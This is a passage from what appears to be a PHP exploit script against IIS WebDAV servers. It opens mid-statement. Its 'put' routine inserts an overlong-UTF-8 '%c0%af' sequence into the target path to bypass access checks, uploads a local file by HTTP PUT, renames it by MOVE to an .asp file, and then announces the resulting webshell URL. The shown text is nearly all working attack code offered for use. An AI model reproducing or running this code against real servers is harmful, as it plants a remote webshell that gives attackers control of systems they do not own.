'; sent($sock); $bur=explode("",$html); foreach($bur as $line){$no=strpos($line,"<");$resultat.=substr($line,0,$no)."\n";} echo $resultat; die; } if($action=="put"){ echo "Remember,keep urfile in type txt!\r\n\r\n"; $fp = fopen("test.txt", 'r'); if($fp!=false){ while (false!==($char = fgets($fp))) { $fir1=$char; } fclose($fp); $position=strrpos($path,"/"); $path=substr_replace($path,"%c0%af",$position,0); $sock="PUT ".$path."test.txt HTTP/1.1\r\n"; $sock.="Host: ".$host."\r\n"; $sock.='Content-Type: text/xml; charset="utf-8"'."\r\n"; $sock.="Connection:close\r\n"; $sock.="Content-Length: ".strlen($fir1)."\r\n\r\n"; $sock.="".$fir1."\r\n"; echo $sock; sent($sock);sleep(2); $sock="MOVE ".$path."test.txt HTTP/1.1\r\n"; $sock.="Host: ".$host."\r\n"; $sock.="Connection:close\r\n"; $sock.="Destination: ".$path."racle.asp\n\n"; sent($sock); echo "Be cool,man! Webshell is http://".$host.$path."racle.asp"; die;} else{die;} }